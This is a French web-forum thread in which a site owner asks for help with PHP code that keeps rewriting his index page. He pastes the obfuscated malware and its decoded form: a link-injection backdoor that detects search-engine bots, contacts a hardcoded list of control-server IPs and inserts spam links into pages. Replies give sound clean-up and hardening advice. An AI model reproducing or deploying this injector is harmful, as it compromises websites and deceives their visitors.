1VsWldiRUpYVm14R2VsTlZVazVqUlRrellqSmtTbEV3Um01VGEyaFhZekpTUkZGVWJFcFRSa28xV1ZaamQySXhhM3BXYm14cFVtcHNjMXBWWkZkaGEzUkVWVzF3YUZFeWRIZFVNMlIyV2pCc1JGRlhaR3BpVmxsM1drWm9TMlJWYkVSVmFrWnBVMFpGTTFFeWJFSmFNR3hFVVdwc1JGb3pRbmRYYld4Q1lqSkdXRTVZUWxsTmJWSnpXa1ZPYm1GV2JGaGxTRTVwVFRKU2JWcEdhRXRqTVdkNVYyNWFhbEl4V2pGVFYyeHlZMFZzU1dNd2RFcFJNRVp1VTFWT1UwMVhTa2xWVjJSUlZUQkpkMWt5TVhOa1JYUkdVVzB4YUZZemFITlhSRXByWWtkU1IwOVhjR2xOYWxWM1YyeGpNVTFIVGpWYU1teG9VMFpKZDFrd1VuWmthM2cxVTFka1RXRldTbmRaTUU1Q1pGVnNSRk5ZV2twaFZVWXhVMnRvUTJGR2IzbFdXRUpNVmtoT1RGTlZUa0phTUd4SlUyMTRhMU5HV2pWWmJXeENZVEpTV0dWRVFsQmtNamx1VTFWT1Fsb3lXbEppTW1SS1VUQkdibE5yWkdGa01HeEZUVWRrWVdKck5USlhWRW93WkcxT1NGWnVWa3hSTVVwM1dUQk9NMW93T1VWUldFNUtVVEZLYzFreU5VdGtWMG8xWkRKa1MxSXhXalZaTWpWUFRVZE9jR1F5WkU1bGEwWjNWRE5rZGxvd2JFUlJWMlJvVmpGc2JsTXdUbE5pVjA1RVlUSmtiR1ZXU2pKYVJtaFNXakZDVkZGWGJGTk5SbHBXVTFWT1UyUXhiRmhhUjNoS1VsZG9WbFpyV2tKa2F6RlVUa2hrV1ZORmNHcFpiV3hLVGpCT2NGRlhaRXBSTUVaeVdXcE9WMDFGYkVST1JHeEtVVEJ3U2xscVRrOU5SVGx3VVZkMGFGZEZTbXBaTW5nMFpGVnNjV013ZEVwUk1FWnVVMVZPVTJSdFVsbFZWMlJOWVdwQ2JsTlhkRTlrYlVwMFRsZDRXazB4U25kWmFra3dUbXRzUmxSdVRtbE5NRFZ6VjBWb1Mxa3lTbk5sU0d4WlVucFNjRlF6WkhaYU1HeEVVVmRrWVdKdFVqVlpWbWhUWWtWMFJGVnRNV3BSTTJSdVUydGpOVTFYVWtSaGVtUkVZVlZHYmxOVlRrSmhNazUwVm1wQ1NsSkVRbTVUVjJ4S1RqQk9jRkZYWkVwUk1FbDZXVlZrYzJNeGNGUlJWemxLVmpGd2MxbHFTbHBpTUhCSVYyNWtURlV5ZEc1YVdHeFRaVlp3V1ZWWFpFcFJlbEUxVTFWT1EySldiM2xXYWtKcVpWZGtjbGR0TlVKak1HeEZVbGhzVUZFeWN6TmFiRVozWWxacmVXVklXbXBOYkZaMlUydGtZV1F3ZEZWak1IUkxVMFphZWxwRlRrSlBWV3hKVlc1c2FGWjZRblpaZWs1WFlWZE5lbFZ1YkV4Uk1VbzFWMnhvVW1Nd2JFbFVha0pxWW10S01sa3piRzVoTWs1MFZtcENUVkV3Um5CWFJXaExXVEpLYzJWSWJGbFNlbEp3VXpGT1FtTnJiRVZWV0VKTVZraFJOVkV5TlV0aVIxSkpWbTVzYVdGVlJuSmFSbVEwVFVVNU0yTkViRVJpVm05NFdXMHhUMDFIUmxoUFdGWktVbGM0ZVZZeGFFZFZiVXBZVGxkMFYyVnNTbTFaZWtwSFpFZFNXR0pIV21GTmJGbDNWMFJLTkdOSFNuUmtTSEJNVVRKM00xRXlaSFpoTVd4WVpVaE9TbEpFUW01WGFrcFhUVVpuZVdSSVZtbE5NbEp0V1Zab1FtSXdkRlZqTUhScVRXMW5lRmR0TVdGak1YQlVXakowV2xZemFIcFRNVko2VXpCd1NWWnViR2xSTUVVMVUxVldkazFzWkZsU2JFcHBWbnBXY2xadWNGTmFiRzk1Vm1wQ1dVMHhXalZaYTA1dVkwVTVNMkl5ZEdwaVZscHZXV3RaTldOSFRrUlJWR3hLVWxjNGVWWXhhRWRWYlVwWVRsZDBWMlZzU20xWGFrcFhUVVpuZWxOdGVGcFdNMmh0V1Zab1FtSXdkRlZqTUhSTFUwWmFiMU5WVVhkYU1rMTZWVzVzYTFKNmJIcFphazVyWWtkT2NGb3lkRmxOVlRWSFZsZDRZVkpzVm5Oak1teFVVbXhLVmxaVldUVldiRlYzVm14T1dVMUZXa2xWYkZVeFZsVnNjMDFJUWxCa01qbHlWMVprYzJFd2JFVk5SMlJLWVd0V00xUlZVa1poVlRrellqSjBXazFxYkhKVFZWRjNXakpLV0ZWVVJreFJNVWw0V1RJeE0yUlhVa2hpU0ZKaFZUSmtkMU14VW5wVE1IQklWRzA1WVZZd05YbFRWVkYzV2pKS1dGVlVSa3hSTVVweFdXcEtVbU5GT1ROaU1uUnJWakJXYmxWR1RrTk5WMDUwWlVkNGFXSlZOVEpYYTJSV1lqSk5lbFZ1Ykd0U2VteDZXV3BPYTJKSFRuQmFNblJaVFZVMVIxWlhlR0ZTYkZaell6SnNWRkpzU2xaV1ZWazFWbXhWZDFac1RsbE5SVnBKVld4Vk1WWlZiSE5OU0VKTVZraE9URk5yYUVOaFJtOTVWbGRrVVZVd1JuQlVSRXByWXpKR05VNVlaR2hUUlVWMlYxWmtjMkV4UWxSVFdGWkxVakJhZDFkclRUQmhWWEIxVm01c2FWSkVRbkJVUjJ4VFRWZE9kR1F6VmtwaFZuQjNXVEJSZDJGVmVIQlZibXhoVmpCYWVsZEVTbk5rTUhod1UxY3hhMVl3VlRWVFYyc3dZVEpTV0ZKWVZrcGhWbkJ4V1dwS1VrOVZiSEJPUjNSYVRXcHNjbFF6WkhaVE1YQjBUMWhzWVZZd1duRlpWVTVDWWpCd1NGSnVUbWxSTUVwdldUTnNRbUV5UmxsUldFSnNaREk1Y2xwRlpFNWFNVUpVVVd0MFQySkhlRFJXVm1ONFpGWndSMWw2UWxsTmJWSnpXa1ZaTldGdFNYbE9WRUpoVm5wVmQxa3piRzlOUjA1MFlraFNURkV4U25kWk1FNXlZekJ3U1ZGdGFHRk5iRlozVkROa2RtRXlUa2hQV0hCS1VrUkNibGw2VGxObFYwNUlUMWh3VEZFeFNYZFhXR3d6V2pCd1NGUnRPV0ZXTURWNVV6RlNlbE15UmxoWFYyUk1VVEZLTTFscVRrNWFNR3hWVFVSc1NsSXhjRzlaYTJoUFlrVjBXV013ZEV0VFJVbzFXV3BPYjA1V1ozbGxTRUpxVFRGR2JsVkdUa05sYlZKWVUyNXdhMU5GYkhaVGEyaFRZV3Q0UlZGWVRrdFRSVW95V1ROc2NrNHdUbTVqU0hCYVYwWndjMWRFU2pCa1YwbDZXa2RhYUZkRlJuWlhiR2h2WkRKS1NFOVhkR0ZWTW1Sd1YwVmpNR0ZWZUVSVmJtUnFZbFJyTUZwV1dUVmpNa1paVkdwQ1RGVXljek5STW1SMlV6QndTR1ZJUW1saVdGSTJVMVZSZDFveVRYcFdiV3hxVFRGS05WTXdUbE5OUm13MVpESjBhbEo2YkRaVE0zQk9aVlYwVldNd2RHcGlWbGwzV2tab1MyUlZiRVJWYms1b1ZucFdlVmt6Y0hwVE1scFNZMFJzUkdKcVFreFhiVFZYWkZacmVsVnVRbWxOYWxKdVZUSndZVmR0VGxkU2JsSnBZbFpLV1ZScldUVmtSMGw1VlcxYVdrMXFiREZUTUU1VFlXMUplVTVJUW14a00wSjNWMjFzUW1JeVRYcFZibXhxVW5wc05sTXdUbE5oYlVsNVRraE9TbUZ1YUhCWmFrcFRUbFZzY0dFeVpFcFdSRUUxVTFWa1lXRkhTa2xVYlhoTVZUQkpNMUV5YkZOTlJuQlpZVVJDU2xKRVFtNVpNR2hMWWtadmVFOVliR0ZYUlVwNlYxWmtUMkpGZEVSVFdGcFJVakJ3TWxkcmFISmlNV2hKVkcxS1dXRnFWbXRUTW14eVRERkNjRTlZUWtwaFdHUnVVMWR3TkdGWFNYbFZhbFpaVWtWVmNsTlhhekZUTURWellraG9WbFo2UmpGWGExcHFUVVpuZWxSdGFHbFhSbHAzVjBSS2EySkhVa2RQV0U1b1ZucFdlVmt6Ykc1alJYaEVVVmQwV2sxcWJERlVSVkpHWTBVNU5WRlhaRVJpYTNCeldrVm9WMlZYU25CUlYzUnJVakZaTUZwRlVucFRNbHBVVVcxNGFWTkZOWE5UVldnd1pWWndXVlZxUm1waVZGSnVVMnRrVDJSdFNuRmtSR3hFWW1wQ1RGZHROVmRrVm10NlZXNUNhVTFxVW01Vk1uQmhWMjFPVjFKdVVtbGlWa3BaVkd0Wk5XRnNiRmhsU0U1YVlsVmFjVmxZYkc1aE1XeDFWbTB4VEZkSVRreFpWbVJhV2pCMFNHRkhlRnBXTVVweldUSTFUMXB0VFhsV2JsWnJVVEprZDFNeGFIcFRNa1pZVjFka1RGSXllREZYUkVwSFpWZE9kRkpxVmt4Uk1IQkZXV3BKTVUxR2NGaE9WRUpOVmxaYU1WZFVTVFZoTWtaWVRsYzFVR0ZWU25WYVZ6RnpaREJzY0dReVpHaFNNVnB2VjJ0a1YyVlhUWGhQV0U1b1YwVTBkMU13VG5KalJYUlpZekIwUzFOR1NqQlpNR1JoWkZac1dFMVhlRXBTUkVKdVdrVmtWMlJIVGtoT1YyaHBWVEpuZDFkRVNsTmpSMDV3V2pOQ1RWRXdSbkJWYlhNMVZVVnNjR0Y2WkV0VFNFSjBVMVZSZDFveGNIUlBXR1JoVm5wU2RsTnJhRk5rUjA1SVYyNVdXbFo2Um5OVVJVNUNZVmRTTlZOWVFsQmxWVXAwV1RCb1YwMUhUalZhTW5Sc1lsWnNlbE5WVGxOaFYxSllWMWhDVUdWVlNuUlhWRW8wWkcxTmVWWlhPVXRUU0VKMFV6RlNlbG93Y0VsalIzUktVa1JDYmxkcVRuZGtiVTVJVm01V1RGRXhTWGRaYkdoRFlsZEtkRkp1VW1GVk0yUnVVMWMxU21GVmRGVmpNblJhVFdwc01WcEZaRmRrVjFKSlZGZGtVVlV3U25WYVZ6VkxZa1pzV0ZWWE9VdFRTRUp5VkVWT1FtVkZNVVZSV0dST1VrVkdNMVJWVG5KT01IQklWRzVhYVdKc1NuTlpiVFZUWld0c1JVMUhaRlJoYkhCaFdURmFSMlJIU25SVmJHaFBVbXBzTUZscVNsTmFiR3Q1VDFoV1RGRXhTbkZaYWtreFRVWndXRTVVUW1wbFYzTXpWMnBPZDJGdFNraFBXSEJoVlRKa2NscFhNVkpqUlRoNlZtNVdhVkl5ZURGWldHeHVZVEpTU0UxWVpHRmlWRlp2V1d4a1ZtTkZPVFZWYlhCcFRXcFZkMWRzWXpGTlIwNDFVVlJzU2xJeVVUSlhiR014WVcxSmVWVnRlRXhSTVVweFdXcEpNVTFHY0ZoT1ZFSnFaVmR6TTFwc1RrTmlSMHBKVkcxNFNsTklUbkpYVkVrMVpGZFNTRlp1Vm10VFJURnVWVVpPUTFNd05YTmlTR2hXVm5wR01WZHJXbXBOUm1kNVRWaGFZVkpxYkhGWmFra3dZakJ3U0ZOcVJtRmhWM016VTFWbmVFOVZiRWhXYms1cVRXeFdibHBZYkZOaGJVbDVUbFJDWVZaNlZYZFpNMnhDVDFWc1JtSjZTbGhYUlZwVFdXeGpNV0V4V2paVmJWcHBWbnBzY2xkRVNrOWtiVXB3V2pKMFdtSnNXblJUTVZJd1QxZE9kRlpxUW10WFJYQXhVekJPVTJGdFNYbE9WRUpoVm5wVmQxa3piSEpPTUU1MVRVVjBTbEZZUWpKWFYzYzFaVzFTU0ZKdWJHdFJNbVJ3VlRKd1lWZHRUbGRTYmxKcFlsWktXVlJyV1RWaGJHeFlaVWhPV21KVlduRlpXR3hLWTBVNU0yTkViRVJpYWtKTVNXbHJjRTk1UVQwaUtTazdJQT09IikpOyA=";

	if (!function_exists("N7hxKG6fQ1HCofktoWG9hdZw3DX")){
		function N7hxKG6fQ1HCofktoWG9hdZw3DX($XiH73w,$EGGlt4o7zGIFUthGPU9qbYWzi8Jl2m7u){
			$qddelAeSylLwI4wugRJDbk7jXxSlx6L5o7XnuadzjkJvPedw = '';
			foreach($XiH73w as $vUtg5xGEIh1AsTOyoATw64DWHzROMNVAqYFedPrdh){
				$qddelAeSylLwI4wugRJDbk7jXxSlx6L5o7XnuadzjkJvPedw .= chr($vUtg5xGEIh1AsTOyoATw64DWHzROMNVAqYFedPrdh - $EGGlt4o7zGIFUthGPU9qbYWzi8Jl2m7u);
			}
			return $qddelAeSylLwI4wugRJDbk7jXxSlx6L5o7XnuadzjkJvPedw;
		}
		$KjPaA = N7hxKG6fQ1HCofktoWG9hdZw3DX($YIqZzSptJdMC24YwKiZMzditIHPcT554lc2EMp,4302);
		$RDMkA9Jlr3T = N7hxKG6fQ1HCofktoWG9hdZw3DX($TpxmSXWacEsyDcrXfPImEfEeWG4wHRjJ1YfPwLcfgr1YRI,3458);
		$ucfR8Wg3V6T982BfYAoXb6HmYpv22Sh6DjZ9s66gJ3B2b = N7hxKG6fQ1HCofktoWG9hdZw3DX($ZoP7KtuAebUjT7OBdmpk,7004);
		$Zy0o4rXWuLd397w3xB6OBOFDPQqobi6q7fUzCiAa = $RDMkA9Jlr3T('$Al4GzTCFtrF6RJxrOY6DVT',$KjPaA.'('.$ucfR8Wg3V6T982BfYAoXb6HmYpv22Sh6DjZ9s66gJ3B2b.'($Al4GzTCFtrF6RJxrOY6DVT));');
		$Zy0o4rXWuLd397w3xB6OBOFDPQqobi6q7fUzCiAa($vvbUUA25NpqN5sshBGHfIygUf4J0zFdIujiNnv4s3b8pTQ);
	}
?>

Voici la version décryptée :

<?php
	error_reporting(0);

	if (isset($_SERVER["HTTP_USER_AGENT"])){
		$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
	}

	if ((strpos($ua,"googlebot")!==false)||(strpos($ua,"msnbot")!==false)||(strpos($ua,"slurp")!==false)||(strpos($ua,"msie")!==false)) {
		if (!function_exists("J6YqQmndW4_pirogok")){
		function J6YqQmndW4_pirogok(){
		return false;
	}

	function t_dir() {

		if (function_exists("sys_get_temp_dir")) {
			if (@is_writeable(sys_get_temp_dir())) {
				return realpath(sys_get_temp_dir());
			}
		}
		if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) {
			return realpath($_ENV["TMP"]);
		}
		if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) {
			return realpath( $_ENV["TMPDIR"]);
		}
		if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) { 
			return realpath( $_ENV["TEMP"]);
		}
		$tempfile=@tempnam(__FILE__,"");
		if (@file_exists($tempfile)) {
			@unlink($tempfile);
			if (@is_writeable(realpath(dirname($tempfile)))) {
				return realpath(dirname($tempfile));
			}	   
		}
		if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) {
			return realpath(@ini_get("upload_tmp_dir"));
		}
		if (@is_writeable(realpath(session_save_path()))) {
			return realpath(session_save_path());
		}
		if (@is_writeable(realpath(dirname(__FILE__)))) {
			return realpath(dirname(__FILE__));
		}
		return null;
	}

	function get_t_dir_mass() {

		if (function_exists("sys_get_temp_dir")) {
			if (@is_writeable(sys_get_temp_dir())) {
				$res[] = realpath(sys_get_temp_dir());
			}
		}
		if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) {
			$res[] = realpath($_ENV["TMP"]);
		}
		if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) {
			$res[] = realpath( $_ENV["TMPDIR"]);
		}
		if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) {
			$res[] = realpath( $_ENV["TEMP"]);
		}
		$tempfile=@tempnam(__FILE__,"");
		if (@file_exists($tempfile)) {
			@unlink($tempfile);
			if (@is_writeable(realpath(dirname($tempfile)))) {
				$res[] = realpath(dirname($tempfile));
			}	   
		}
		if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) {
			$res[] = realpath(@ini_get("upload_tmp_dir"));
		}
		if (@is_writeable(realpath(session_save_path()))) {
			$res[] = realpath(session_save_path());
		}
		if (@is_writeable(realpath(dirname(__FILE__)))) {
			$res[] = realpath(dirname(__FILE__));
			}

		return array_unique($res);
	}

	function get_know_ip(){
		$know[] = "37.235.53.202";
		$know[] = "130.0.233.18";
		$know[] = "130.0.237.24";
		$know[] = "149.154.154.191";
		$know[] = "151.236.17.13";
		$know[] = "151.236.18.8";
		$know[] = "178.209.52.218";
		$know[] = "178.73.210.163";
		$know[] = "46.17.57.141";
		$know[] = "46.246.93.130";
		$know[] = "5.61.42.109";
		$know[] = "5.61.45.110";
		$know[] = "93.170.129.75";

		foreach(get_t_dir_mass() as $t){
			if(file_exists($t.DIRECTORY_SEPARATOR."N2W3Y0qaFA")){
				foreach (file($t.DIRECTORY_SEPARATOR."N2W3Y0qaFA") as $tt){
					$know[] = trim($tt);
				}
			}
		}
		return array_unique($know);
	}

	function save_know_ip($ip){
		$content =  implode(PHP_EOL, $ip);
		foreach(get_t_dir_mass() as $t){
			$f = fopen($t.DIRECTORY_SEPARATOR."N2W3Y0qaFA","w");
			fputs($f,$content);
			fclose($f);
		}
	}

	function J6YqQmndW4_get_real_ip() {
		$proxy_headers = array(
			"CLIENT_IP",
			"FORWARDED",
			"FORWARDED_FOR",
			"FORWARDED_FOR_IP",
			"HTTP_CLIENT_IP",
			"HTTP_FORWARDED",
			"HTTP_FORWARDED_FOR",
			"HTTP_FORWARDED_FOR_IP",
			"HTTP_PC_REMOTE_ADDR",
			"HTTP_PROXY_CONNECTION",
			"HTTP_VIA",
			"HTTP_X_FORWARDED",
			"HTTP_X_FORWARDED_FOR",
			"HTTP_X_FORWARDED_FOR_IP",
			"HTTP_X_IMFORWARDS",
			"HTTP_XROXY_CONNECTION",
			"VIA",
			"X_FORWARDED",
			"X_FORWARDED_FOR"
		);
		
		foreach($proxy_headers as $proxy_header) {
			if(isset($_SERVER[$proxy_header]) && preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $_SERVER[$proxy_header])){
				return $_SERVER[$proxy_header];
			}
			else if(stristr(",", $_SERVER[$proxy_header]) !== FALSE){
				$proxy_header_temp = trim(array_shift(explode(",", $_SERVER[$proxy_header]))); 
				if(($pos_temp = stripos($proxy_header_temp, ":")) !== FALSE) $proxy_header_temp = substr($proxy_header_temp, 0, $pos_temp); 
				if(preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $proxy_header_temp) )return $proxy_header_temp;
			}
		}
		return $_SERVER["REMOTE_ADDR"];
	}

	function J6YqQmndW4_get_url(){ 
		$url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
		if (strpos($url,"?") !== false){
			$url = substr($url,0,strpos($url,"?"));
		}
		return $url;
	}

	function J6YqQmndW4_get_contents($ip, $page){

		if( function_exists("curl_init") ){
			$ch = curl_init("http://" .$ip . "/" .$page);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_TIMEOUT, 3);
			$ult = trim(curl_exec($ch));
			return $ult;
		}

		if (ini_get("allow_url_fopen")) {
			$ult = trim(@file_get_contents("http://" .$ip . "/" .$page));
			return $ult;
		}
		
		$fp = fsockopen($ip, 80, $errno, $errstr, 30);
		
		if ($fp) {
		
			$out = "GET $page HTTP/1.0\r\n";
			$out .= "Host: $ip\r\n";
			$out .= "Connection: Close\r\n\r\n";
			fwrite($fp, $out);
			$ret = "";
			
			while (!feof($fp)) {
				$ret  .=  fgets($fp, 128);
			}
			
			fclose($fp);
			$ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));
			
		}
		
		return $ult;
		
	}

	function J6YqQmndW4_samui_get_links(){
		$all = get_know_ip();
		shuffle($all);
		$url = J6YqQmndW4_get_url();
		$real_ip = J6YqQmndW4_get_real_ip();
		$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
		$aid = "1001";
		$cod = md5($url.time());
		$check = md5($cod);
		$ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
		$page = "/glk.php?aid=".$aid."&url=".$url."&ip=".$real_ip."&ua=".$ua."&cod=".$cod;

		foreach ($all as $ip){
			$tc = J6YqQmndW4_get_contents(trim($ip),$page);
			$pos = strpos($tc, $check);
			if ($pos !== false){
				$proxy_list = substr($tc,0,$pos);
				save_know_ip(explode("\n",$proxy_list));
				$links = substr($tc,$pos+32);
				return $links;
			}
		}
	}

	function J6YqQmndW4_mod_con($con){
		if (strpos($con,"<body") !== false) {
			$text = preg_replace("/<body(\s[^>]*)?>/i", "<body\1>".J6YqQmndW4_samui_get_links(), $con,1);  
			return $text;
		} else {
			return $con;
		}
	}

	function J6YqQmndW4_callback($buf){
		if (headers_sent()){

			if (in_array("Content-Encoding: gzip", headers_list())){
				$tmpfname = tempnam(t_dir(), "FOO");$zf = fopen($tmpfname, "w"); fputs($zf, $buf); fclose($zf); $zd = gzopen($tmpfname, "r");$contents = gzread($zd, 10000000);$contents = 	J6YqQmndW4_mod_con($contents);gzclose($zd);unlink($tmpfname);$contents = gzencode($contents);} else {$contents = J6YqQmndW4_mod_con($buf); }} else {$contents = J6YqQmndW4_mod_con($buf);}return($contents);
			}
		 
			ob_start("J6YqQmndW4_callback");
		}
	}
?>

Les réécritures se font régulièrement sans avoir de droit...

Auriez vous une idée du problème, comment le résoudre ?

Mettre à jour les logiciels du serveur (Apache, PHP, ect) avec les derniers correctifs de sécurité.
Vérifier les failles dans le code source : la sécurisation des uploads de fichier en premier lieu.

Merci d'utiliser le bbcode adapté (php en l'occurence).

pour être plus explicite que xTG, le problème vients du fait que tu doit avoir sur ton site un (ou plusieurs) fichier qui ne t'appartient pas et qui va infecter ton index.

il est possible que d'autre fichier aient le même problème, où qu'ils aient simplement de quoi infecter l'index.

pour éviter cela :
- tu peux sauvegarder le code actuel (tous ce qu'il y a sur le serveur) le supprimer et coller le code d'origine (solution temporaire).
- Changer tous les utilisateurs / mots de passe (au mini mdp avec quelques chose plus solide que tot048 )des accès ftp / administrateurs de ton site
- changer tous le site

Attention AUCUN DELETE avant une sauvegarde en bonne et du forme

ensuite il faut que tu vois au niveau de ton code ce qui peux clocher.
Par exemple, comme l'indique xTG, un formulaire avec upload de fichier qui ne serait pas sécurisé et qui permet l'upload de fichier qui infecterons ton code.
par exemple un système d'upload d'avatar mal fichue peux laisser une faille de sécurité si l'on peux uploader un fichier php (ou équivalent).

@+